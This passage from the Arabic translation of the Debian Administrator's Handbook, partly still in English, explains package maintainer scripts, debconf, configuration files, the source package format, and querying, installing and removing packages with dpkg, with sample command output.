أخيراً، يضبط dpkg الحزمة بتنفيذ new-postinst configure last-version-configured.

5.2.2.2. إزالة حزمة

إليك ما يحدث أثناء إزالة حزمة:

يستدعي dpkg الأمر prerm remove.

يزيل dpkg جميع ملفات الحزمة، عدا ملفات الضبط وسكربتات الإعداد.

ينفذ dpkg الأمر postrm remove. تُحذَف جميع سكربتات الإعداد، عدا postrm. إذا لم يطلب المستخدم خيار ”التطهير“، تنتهي العملية هنا.

لتطهير الحزمة بالكامل (يطلب هذا الأمر بالشكل dpkg --purge أو dpkg -P)، تُحذَف ملفات الإعدادات أيضاً، بالإضافة لعدد معين من النسخ (dpkg-tmp.*، ‏dpkg-old.*، ‏dpkg-new.*) والملفات المؤقتة؛ بعدها ينفذ dpkg الأمر postrm purge.

مصطلحات التطهير، إزالة الحزمة بالكامل

عند إزالة حزمة دبيان، تبقى ملفات الإعداد في سبيل تسهيل إعادة التثبيت في المستقبل. كما يُحتَفظ عادةً بالبيانات التي تولدها الخِدْمات (مثل محتويات مجلد مخدم LDAP، أو محتويات قاعدة بيانات مخدم SQL).

لإزالة جميع البيانات المتعلقة بالحزمة، يجب ”تطهير“ الحزمة بالأمر dpkg -P package أو الأمر apt-get remove --purge package أو aptitude purge package.

يجب عدم الاستخفاف عند استعمال أمر التطهير لأن إزالة هذه البيانات نهائية.

هناك سكربت config يكمل السكربتات الأربعة المذكورة سابقاً، توفره الحزم التي تعتمد على debconf للحصول على معلومات من المستخدم لضبط الحزمة. يُحدِّد هذا السكربت أثناء التثبيت الأسئلة التي تطرحها debconf بالتفصيل. تُسجَّل الإجابات في قاعدة بيانات debconf للرجوع إليها مستقبلاً. تستدعي apt هذا السكربت عموماً قبل تثبيت الحزم واحدة تلو الأخرى وذلك لتجميع كل الأسئلة وطرحها جميعاً على المستخدم في بداية العملية. يمكن بعدها أن تستفيد سكربتات ما قبل وما بعد التثبيت من هذه المعلومات حتى تتبع رغبات المستخدم.

أدوات debconf

لقد أُنشِئَت debconf لحل مشكلة متكررة في دبيان. لقد كانت الحزم التي لا يمكن أن تعمل دون حد أدنى من الإعداد تطرح الأسئلة باستدعاء الأمرين echo و read في سكربتات postinst (وغيره من السكربتات المشابهة). لكن هذا يعني أيضاً أن المستخدم أثناء عمليات التثبيت أو التحديث الكبيرة يجب أن يبقى مع الحاسوب للإجابة على الأسئلة المتنوعة التي قد تظهر في أي لحظة. لقد تخلصنا تماماً تقريباً من هذه التفاعلات اليدوية بعد استخدام الأداة debconf.

تتمتع debconf بالعديد من المزايا المثيرة: فهي تفرض على المطور تحديد التفاعلات مع المستخدم؛ وتسمح بترجمة جميع النصوص المعروضة للمستخدم (تُخزَّن جميع الترجمات في ملف templates الذي يُعرَّف التفاعلات)؛ ولها واجهات مختلفة لعرض الأسئلة على المستخدم (الوضع النصي، الوضع الرسومي، الوضع غير التفاعلي)؛ كما تسمح بإنشاء قاعدة بيانات مركزية للإجابات لمشاركة الإعدادات نفسها بين عدة حواسيب... لكن أهم ميزة هي أنه يمكن الآن طرح جميع الأسئلة على المستخدم على التعاقب، قبل بدء عمليات التثبيت أو التحديث الطويلة. يستطيع المستخدم بعدها أن ينطلق لأداء أعماله الأخرى بينما يتولى النظام عملية التثبيت وحده، دون الحاجة لبقاء المستخدم أمامه يحدِّق في الشاشة وينتظر الأسئلة.

5.2.3. شفرات التحقق، لائحة ملفات الضبط

In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz archive of a Debian package may contain other interesting files. The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in قسم 14.3.4.1, “فحص سلامة الحزم باستخدام dpkg --verify”) and debsums (from the package of the same name; see قسم 14.3.4.2, “فحص الحزم: debsums وحدودها”) to check if these files have been modified since their installation. Note that when this file doesn't exist, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

في الواقع، يتصرف dpkg بأذكى ما يمكن في هذه الحالات: إذا لم يتغيَّر ملف الإعدادات القياسي بين النسختين، لا يفعل أي شيء. لكن إذا تَغيَّر الملف، سيحاول تحديث هذا الملف. هناك احتمالين هنا: إما أن مدير النظام لم يلمس ملف الإعداد هذا، وفي تلك الحالة يُثبِّت dpkg النسخة الجديدة آلياً؛ أو أن الملف قد عُدِّل، وفي تلك الحالة يسأل dpkg مدير النظام عن النسخة التي يريد أن يستخدمها (النسخة القديمة المعدلة، أو الجديدة الموفرة مع الحزمة). حتى يساعد dpkg في اتخاذ هذا القرار، يعرض عليك إظهار ”diff“ يُبيِّنُ الاختلاف بين النسختين. إذا اختار المستخدم إبقاء النسخة القديمة، سوف تُخزَّن الجديدة في نفس المكان في ملف له اللاحقة ‎.dpkg-dist. أما إذا اختار المستخدم النسخة الجديدة، تحفظ النسخة القديمة في ملف له اللاحقة ‎.dpkg-old. هناك خيار آخر متاح وهو مقاطعة dpkg مؤقتاً لتحرير الملف ومحاولة استرجاع التعديلات المناسبة (التي تم التعرف عليها باستخدام diff).

التعمق أكثر إجبار dpkg على طرح أسئلة عن ملفات الإعداد

The --force-confask option requires dpkg to display the questions about the configuration files, even in cases where they would not normally be necessary. Thus, when reinstalling a package with this option, dpkg will ask the questions again for all of the configuration files modified or deleted by the administrator. This is very convenient, especially for reinstalling the original configuration file if it has been deleted and no other copy is available: a normal re-installation won't work, because dpkg considers removal as a form of legitimate modification, and, thus, doesn't install the desired configuration file.

التعمق أكثر تفادي أسئلة المتعلقة بملفات الضبط

يعالج dpkg تحديث ملفات الضبط، لكنه يقطع عمله بانتظام أثناء هذه العملية، حتى يطلب مدخلات من مدير النظام. هذا لا يناسب الذين يبحثون عن تشغيل التحديثات بطريقة غير تفاعلية. لذلك يوفر هذا البرنامج خيارات تسمح للنظام بالاستجابة آلياً وفق منطق ثابت: يحفظ الخيار ‎--force-confold النسخة القديمة من الملف؛ أما ‎--force-confnew سيستخدم النسخة الجديدة منه (يلتزم البرنامج بهذه الخيارات حتى لو لم يكن مدير النظام قد عدَّل الملف، وهذا نادراً ما يكون الهدف المقصود). إذا أضيف الخيار ‎--force-confdef فسوف يتخذ dpkg القرار بنفسه إذا كان ذلك ممكناً (أي عندما لا يكون ملف الإعدادات الأصلي معدلاً)، ويلتزم بالخيار ‎--force-confnew أو ‎--force-confold في الحالات الأخرى.

These options apply to dpkg and are explained in detail in dpkg(1) or dpkg --force-help, but most of the time the administrator will work directly with the aptitude or apt programs. It is, thus, necessary to know the syntax used to indicate the options to pass to the dpkg command (their command line interfaces are very similar).

# apt -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" full-upgrade

يمكن تخزين هذه الخيارات مباشرة في إعدادات apt. لعمل ذلك، أضف السطر التالي إلى الملف ‎/etc/apt/apt.conf.d/local ببساطة:

DPkg::options { "--force-confdef"; "--force-confold"; }

إن تضمين هذا الخيار في ملف الإعداد يعني أنه سيستخدم أيضاً مع الواجهات الرسومية مثل aptitude.

5.3. بنية الحزمة المصدرية

5.3.1. الصيغة

A source package is usually comprised of three files, a .dsc, a .orig.tar.gz, and a .debian.tar.xz (or .diff.gz). They allow creation of binary packages (.deb files described above) from the source code files of the program, which are written in a programming language.

ملف ‎.dsc (‏Debian Source Control) هو ملف نصي يحوي ترويسة RFC2822 (مثل ملف control الذي درسناه في قسم 5.2.1, “وصف: الملف control”) الذي يصف الحزمة المصدرية ويحدد الملفات الأخرى التي تنتمي إليها. يوقّع المشرف على الحزمة هذا الملف، لضمان سلامته. انظر قسم 6.6, “التحقق من سلامة الحزم” لمزيد من التفاصيل على هذا الموضوع.

مثال 5.1. ملف ‎.dsc

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.68-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: http://zim-wiki.org Standards-Version: 4.1.3 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper (>= 11), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: a3b50aa8e44126cc7edd2c1912adf9820f50ad58 2044224 zim_0.68.orig.tar.gz 4e13b37625789334da2d95b93e51e41ffd3b6b01 9300 zim_0.68-1.debian.tar.xz Checksums-Sha256: d91518e010f6a6e951a75314138b5545a4c51151fc99f513aa7768a18858df15 2044224 zim_0.68.orig.tar.gz 23f4ddc69af74509932acc3b5f0d4cd2af943016e4fd5740b9d98ec4d49fd8c2 9300 zim_0.68-1.debian.tar.xz Files: 336041a16687abb66fd9f604b98407e8 2044224 zim_0.68.orig.tar.gz 1714f67b35ab69e709849ad707206ca8 9300 zim_0.68-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlqyOxkACgkQA4gdq+vC mrnCqAf/Ww9wg97VragtVhSFvehoVoJ0ZhoqNaSuCP/W1Fuf+P0YklzL2BlkVRXW X23c8Qs1v6VE2iRY3mEkdWwgBs1QwF0MX7H1jjQfPHCynGHKlH5dfo5fqLizgCeu c9Pug3ZisjF90CgsseO7SVDqHVmO6QsfAaGWpHAw92HDz/xwjrS/4Ejntqjy0b+r Gmw2AZuBdhp+7C6p7In/Gg6DHPBLQGMLCKypoZKQdl+L0fWjjeykOzMIbjry2sRH H0J4FLVGAGumh3zIZlm/t3ehGfP9Dg8FvzMaCNsf8OtYCSAEutrQEDBaskcTSIpq L0GQhKlViDuu8gzsqm7efPEhPcsF1A== =6jGR -----END PGP SIGNATURE-----

لاحظ أن الحزمة المصدرية لها اعتماديات أيضاً (Build-Depends) تختلف تماماً عن اعتماديات الحزم الثنائية، لأن الاعتماديات هنا تُبيّن الأدوات اللازمة لترجمة البرنامج الذي تحويه وبناء حزمته الثنائية.

تحذير فضاءات أسماء منفصلة

من المهم الانتباه هنا إلى عدم وجود نوع من الارتباط الإلزامي بين اسم الحزمة المصدرية والحزمة (أو الحزم) الثنائية التي تنتج عنها. فهم هذه القضية سهل عند معرفة أن الحزمة المصدرية قد تولِّد عدة حزم ثنائية. لهذا يحوي الملف ‎.dsc الحقلين Source و Binary للتصريح عن اسم الحزمة المصدرية وتخزين قائمة الحزم الثنائية التي تنتج عنها.

ثقافة سبب التقسيم لعدة حزم

في كثير من الأوقات، يمكن أن تولّد الحزمة المصدرية (لبرمجية معينة) عدة حزم ثنائية. سبب التقسيم هو إمكانية استخدام (أجزاء من) البرنامج في مجالات مختلفة. خذ المكتبات المشتركة على سبيل المثال، يمكن تثبيتها لتشغيل برنامج آخر (مثل libc6)، أو يمكن تثبيتها لتطوير برنامج جديد (عندها ستستخدم الحزمة libc6-dev). كما أن القضية نفسها تنطبق على خدمات المخدم/عميل التي نريد فيها تثبيت جزء المخدم على جهاز ما وقسم العميل على جهاز آخر (هذه هي حالة openssh-server و openssh-client، مثلاً).

وفي أوقات كثيرة أيضاً، تُقدَّم الوثائق في حزمة خاصة: قد يثبتها المستخدم بشكل مستقل عن البرنامج، وقد يختار إزالتها في أي وقت لتحرير مساحة القرص الصلب. بالإضافة لذلك، هذا يحفظ المساحة التخزينية على مرايا دبيان، بما أن حزم الوثائق مشتركة بين جميع المعماريات (بدلاً من تكرار الوثائق في حزم كل معمارية من المعماريات).

منظور الصيغ المختلفة للحزم المصدرية

لقد كان هناك صيغة وحيدة للحزم المصدرية في الأصل. هي الصيغة 1.0، التي تجمع أرشيف ‎.orig.tar.gz مع رقعة ”الدَبيَنَـة debianization“‏ ‎.diff.gz (هناك أيضاً صيغة بديلة، تتألف من أرشيف ‎.tar.gz وحيد، الذي يُستَخدَم آلياً إذا لم يكن هناك ‎.orig.tar.gz متوفر).

Since Debian 6 Squeeze, Debian developers have the option to use new formats that correct many problems of the historical format. Format 3.0 (quilt) can combine multiple upstream archives in the same source package: in addition to the usual .orig.tar.gz, supplementary .orig-component.tar.gz archives can be included. This is useful with software that is distributed in several upstream components but for which a single source package is desired. These archives can also be compressed with xz rather than gzip, which saves disk space and network resources. Finally, the monolithic patch, .diff.gz is replaced by a .debian.tar.xz archive containing the compiling instructions and a set of upstream patches contributed by the package maintainer. These last are recorded in a format compatible with quilt — a tool that facilitates the management of a series of patches.

الملف ‎.orig.tar.gz هو أرشيف يحوي الشفرة المصدرية بالشكل الذي يقدمه المطور الأصلي. يُطلَب من مشرفي حزم دبيان عدم تعديل هذا الأرشيف حتى يمكن التحقق بسهولة من مصدر الملف وسلامته (بمقارنة بسيطة بين شفرات التحقق) ولاحترام رغبات بعض المطورين.

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct a Debian package.

أدوات فك الضغط عن حزمة مصدرية

إذا كان لديك حزمة مصدرية، يمكنك استخدام الأمر dpkg-source ( من الحزمة dpkg-dev) لفك الضغط عنها:

$ dpkg-source -x zim_0.68-1.dsc dpkg-source: info: extracting zim in zim-0.68 dpkg-source: info: unpacking zim_0.68.orig.tar.gz dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

You can also use apt to download a source package and unpack it right away. It requires that the appropriate deb-src lines be present in the /etc/apt/sources.list file, however (for further details, see قسم 6.1, “تعبئة الملف sources.list”). These are used to list the “sources” of source packages (meaning the servers on which a group of source packages are hosted).

$ apt source package Reading package lists... Done Selected version '0.68-1' (stable) for zim NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2055 kB of source archives. Get:1 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (dsc) [1586 B] Get:2 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (tar) [2044 kB] Get:3 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (diff) [9300 B] Fetched 2055 kB in 1s (3356 kB/s) dpkg-source: info: extracting zim in zim-0.68 dpkg-source: info: unpacking zim_0.68.orig.tar.gz dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

5.3.2. الاستخدام في دبيان

الحزم المصدرية هي أساس كل شيء في دبيان. جميع الحزم الدبيانية تنشأ من حزم مصدرية، وكل تعديل في حزمة دبيانية هو نتيجة تعديل في الحزمة المصدرية. يتعامل مشرفو دبيان مع الحزم المصدرية، لكن مع معرفة تبعات تعديلاتهم على الحزم الثنائية. فثمرات جهودهم إذن تراها في الحزم المصدرية التي توفرها دبيان: يمكنك الرجوع لها ولكل شيء ينتج عنها بسهولة.

When a new version of a package (source package and one or more binary packages) arrives on the Debian server, the source package is the most important. Indeed, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian. The fact that the developer also sends one or more binary packages for a given architecture (usually i386 or amd64) is relatively unimportant, since these could just as well have been automatically generated.

→ https://buildd.debian.org/

GOING FURTHER Source only maintainer uploads

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component will be built automatically from mandatory source-only uploads.

5.4. معالجة الحزم باستخدام dpkg

dpkg is the base command for handling Debian packages on the system. If you have .deb packages, it is dpkg that allows installation or analysis of their contents. But this program only has a partial view of the Debian universe: it knows what is installed on the system, and whatever it is given on the command line, but knows nothing of the other available packages. As such, it will fail if a dependency is not met. Tools such as apt and aptitude, on the contrary, will create a list of dependencies to install everything as automatically as possible.

ملاحظة dpkg أو apt؟

يجب اعتبار dpkg أداة نظام (backend)، و apt كأداة أقرب للمستخدم، تتجاوز قيود الأداة الأولى. تعمل هذه الأدوات معاً، ولكل منها خصوصياتها، وتتناسب مع مهام محددة.

5.4.1. تثبيت الحزم

dpkg هي، وقبل كل شيء، أداة لتثبيت حزم دبيان المتوفرة مسبقاً (لأنها لا تنزل أي شيء من الشبكة). لتثبيت حزمة، نستخدم الخيار ‎-i أو ‎--install.

مثال 5.2. تثبيت حزمة باستخدام dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb (Reading database ... 14913 files and directories currently installed.) Preparing to unpack .../man-db_2.8.5-2_amd64.deb ... Unpacking man-db (2.8.5-2) over (2.8.5-2) ... Setting up man-db (2.8.5-2) ... Updating database of manual pages ... Processing triggers for mime-support (3.62) ...

We can see the different steps performed by dpkg; we know, thus, at what point any error may have occurred. The installation can also be effected in two stages: first unpacking, then configuration. apt takes advantage of this, limiting the number of calls to dpkg (since each call is costly, due to loading of the database in memory, especially the list of already installed files).

مثال 5.3. فك الضغط والإعداد على مرحلتين

# dpkg --unpack man-db_2.8.5-2_amd64.deb (Reading database ... 14937 files and directories currently installed.) Preparing to unpack man-db_2.8.5-2_amd64.deb ... Unpacking man-db (2.8.5-2) over (2.8.5-2) ... Processing triggers for mime-support (3.62) ... # dpkg --configure man-db Setting up man-db (2.8.5-2) ... Updating database of manual pages ...

أحياناً يخفق dpkg في تثبيت الحزمة ويعيد خطأ؛ إذا طلب المستخدم منه تجاهل هذا الخطأ، سوف يصدر تحذيراً فقط؛ لهذا السبب تجد خيارات ‎--force-*‎‎ المختلفة. استدعاء الأمر dpkg --force-help، أو وثائق هذا الأمر، يعطيك قائمة كاملة بهذه الخيارات. أكثر الأخطاء تكراراً، والذي سيواجهك عاجلاً أو آجلاً، هو تضارب الملفات. عندما تحوي الحزمة ملفاً ثبّتته حزمة أخرى من قبل، يرفض dpkg تثبيت الحزمة. في تلك الحالة تظهر الرسائل التالية:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

في هذه الحالة، إذا كنت تعتقد أن استبدال الملف لن يكون خطراً على استقرار النظام (وهذه هي الحال عادة)، يمكنك استخدام الخيار ‎--force-overwrite، الذي يطلب من dpkg تجاهل هذا الخطأ واستبدال الملف.

مع أن هناك العديد من خيارات ‎--force-*‎‎، إلا أن ‎--force-overwrite هو الوحيد الذي يُحتَمل أن يستخدم بانتظام. هذه الخيارات موجودة فقط للحالات الاستثنائية، ومن الأفضل تركها وشأنها قدر المستطاع لاحترام القواعد التي يفرضها نظام الحزم. لا تنس، وضعت هذه القواعد لضمان تناسق واستقرار النظام.

تحذير الاستخدام الفعال لخيارات ‎--force-*‎

إذا لم تأخذ حذرك، فقد يوصلك استخدام أحد خيارات ‎--force-*‎‎ إلى نظام ترفض عائلة أوامر APT العمل فيه. في الحقيقة، تسمح بعض هذه الخيارات بتثبيت حزمة دون تلبية اعتمادياتها، أو عند وجود تضارب. النتيجة ستكون نظاماً غير متناسق من ناحية الاعتماديات، وسترفض أوامر APT تنفيذ أي عمل إلا الأعمال التي تعيد النظام إلى حالة متناسقة (مثل تثبيت الاعتماديات الناقصة أو إزالة الحزمة التي تسبب المشاكل). غالباً سيؤدي هذا لظهور رسالة تشبه التالية، التي تظهر بعد تثبيت نسخة جديدة من rdesktop مع تجاهل اعتمادها على نسخة أحدث من libc6:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

قد يختار مدير النظام الشجاع الواثق من صحة تحليلاته تجاهل اعتمادية أو تضارب ما ويستخدم خيار ‎--force-*‎‎ الموافق. في هذه الحالة، إذا كان يريد أن يبقى قادراً على استخدام apt أو aptitude، عليه تحرير الملف ‎/var/lib/dpkg/status لحذف أو تعديل الاعتمادية، أو التضارب، الذي اختار تجاوزه.

This manipulation is an ugly hack, and should never be used, except in the most extreme case of necessity. Quite frequently, a more fitting solution is to recompile the package that is causing the problem (see قسم 15.1, “إعادة بناء حزمة من المصدر”) or use a new version (potentially corrected) from a repository such as the stable-backports one (see قسم 6.1.2.4, “المنقولات الخلفية للنسخة المستقرة”).

5.4.2. إزالة حزمة

Invoking dpkg with the -r or --remove option, followed by the name of a package, removes that package. This removal is, however, not complete: all of the configuration files, maintainer scripts, log files (system logs) and other user data handled by the package remain. That way disabling the program is easily done by uninstalling it, and it is still possible to quickly reinstall it with the same configuration. To completely remove everything associated with a package, use the -P or --purge option, followed by the package name.

مثال 5.4. إزالة وتطهير الحزمة debian-cd

# dpkg -r debian-cd (Reading database ... 15915 files and directories currently installed.) Removing debian-cd (3.1.25) ... # dpkg -P debian-cd (Reading database ... 15394 files and directories currently installed.) Purging configuration files for debian-cd (3.1.25) ...

5.4.3. الاستعلام في قاعدة بيانات dpkg وفحص ملفات ‎.deb

أساسيات صيغة الخيارات

معظم الخيارات متوفرة بالنسخة ”الطويلة“ (كلمة أو أكثر، مسبوقة بشرطتين) أو نسخة ”قصيرة“ (حرف مفرد، غالبًا أول حرف من إحدى كلمات النسخة الطويلة، ويسبق بشرطة مفردة). هذا العرف منتشر جدًا لدرجة أنه أحد معايير POSIX.

قبل ختام هذا القسم، سوف ندرس خيارات dpkg التي تستعلم عن المعلومات في قاعدة بياناته الداخلية. سوف نأخذ أولاً الخيارات الطويلة وبعدها الخيارات القصيرة المقابلة لها (التي ستأخذ نفس المتغيرات). سوف نذكر ‎--listfiles package (أو ‎-L)، الذي يذكر الملفات التي ثبتتها الحزمة؛ ‎--search file (أو ‎-S)، الذي يبحث عن الحزمة (أو الحزم) التي تحوي الملف؛ ‎--status package (أو ‎-s)، الذي يعرض ترويسات الحزمة المثبتة؛ ‎--list (أو ‎-l)، الذي يعرض قائمة بالحزم المعروفة للنظام وحالة تثبيتها؛ ‎--contents file.deb (أو ‎-c)، الذي يسرد الملفات في حزمة دبيان المحددة، ‎--info file.deb (أو ‎-I)، الذي يعرض ترويسات حزمة دبيان هذه.

CAUTION dpkg --search and merged /usr

For various reasons, Debian now installs by default a few top-level directories as symlinks to their counterparts below /usr. For instance, /bin, /sbin and /lib are now symlinks to, respectively, /usr/bin, /usr/sbin and /usr/lib.

While this does provide desirable benefits, it can also be a source of confusion. For example, when you query dpkg which package is owning a given file, it will only be able to answer when you ask for its original path:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

مثال 5.5. الاستعلامات المختلفة باستخدام dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 15719 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Version: 8.30-3 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libselinux1 (>= 2.1.13) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-====================-===============-===============-================================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) un baobab <none> <node> (no description available) un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11 amd64 Debian base system miscellaneous files ii base-passwd 3.5.46 amd64 Debian base system master password and group files ii bash 5.0-4 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb drwxr-xr-x root/root 0 2018-12-15 02:17 ./ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/bin/ -rwxr-xr-x root/root 3516 2018-12-15 02:17 ./usr/bin/gpg-zip -rwxr-xr-x root/root 866256 2018-12-15 02:17 ./usr/bin/gpgcompose -rwxr-xr-x root/root 30792 2018-12-15 02:17 ./usr/bin/gpgparsemail -rwxr-xr-x root/root 84432 2018-12-15 02:17 ./usr/bin/gpgsplit -rwxr-xr-x root/root 154952 2018-12-15 02:17 ./usr/bin/gpgtar -rwxr-xr-x root/root 166568 2018-12-15 02:17 ./usr/bin/kbxutil -rwxr-xr-x root/root 1081 2017-08-28 12:22 ./usr/bin/lspgpot -rwxr-xr-x root/root 2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-classic-gpg -rwxr-xr-x root/root 121576 2018-12-15 02:17 ./usr/bin/symcryptrun -rwxr-xr-x root/root 18424 2018-12-15 02:17 ./usr/bin/watchgnupg drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/sbin/ -rwxr-xr-x root/root 3075 2018-12-15 02:17 ./usr/sbin/addgnupghome -rwxr-xr-x root/root 2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/ drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/doc/ [...] $ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb new Debian package, version 2.0. size 857408 bytes: control archive=1844 bytes. 1564 bytes, 32 lines control 1804 bytes, 28 lines md5sums Package: gnupg-utils Source: gnupg2 Version: 2.2.12-1 Architecture: amd64 Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org> Installed-Size: 1845 Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>= 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>= 6.0), zlib1g (>= 1:1.1.4) Recommends: gpg, gpg-agent, gpgconf, gpgsm Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4) Section: utils Priority: optional Multi-Arch: foreign Homepage: https://www.gnupg.org/ Description: GNU privacy guard - utility programs GnuPG is GNU's tool for secure communication and data storage. . This package contains several useful utilities for manipulating OpenPGP data and other related cryptographic elements. It includes: . * addgnupghome -- create .gnupg home directories * applygnupgdefaults -- run gpgconf --apply-defaults for all users * gpgcompose -- an experimental tool for constructing arbitrary sequences of OpenPGP packets (e.g. for testing) * gpgparsemail -- parse an e-mail message into annotated format * gpgsplit -- split a sequence of OpenPGP packets into files * gpgtar -- encrypt or sign files in an archive * kbxutil -- list, export, import Keybox data * lspgpot -- convert PGP ownertrust values to GnuPG * migrate-pubring-from-classic-gpg -- use only "modern" formats * symcryptrun -- use simple symmetric encryption tool in GnuPG framework * watchgnupg -- watch socket-based logs [..]

التعمق أكثر المقارنة بين الإصدارات

بما أن dpkg هو برنامج معالجة حزم دبيان، فهو يمثل أيضاً التطبيق المرجعي في المقارنة المنطقية بين أرقام الإصدارات. لذلك تراه يملك خيار ‎--compare-versions، يمكن استخدامه بالبرامج الخارجية (خصوصاً سكربتات الإعداد التي يستدعيها dpkg نفسه). يحتاج هذا الخيار ثلاثة بارامترات: رقم الإصدار، عامل مقارنة، ورقم إصدار آخر. عوامل المقارنة المختلفة المتاحة هي lt (أصغر تماماً من)، و le (أصغر من أو يساوي)، و eq (يساوي)، ne (لا يساوي)، ge (أكبر من أو يساوي)، و gt (أكبر تماماً من). إذا كانت المقارنة صحيحة، يرجع dpkg القيمة 0 (نجاح)؛ وإلا، فإنه يعطي قيمة مرجعة غير صفرية (تدل على خطأ).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

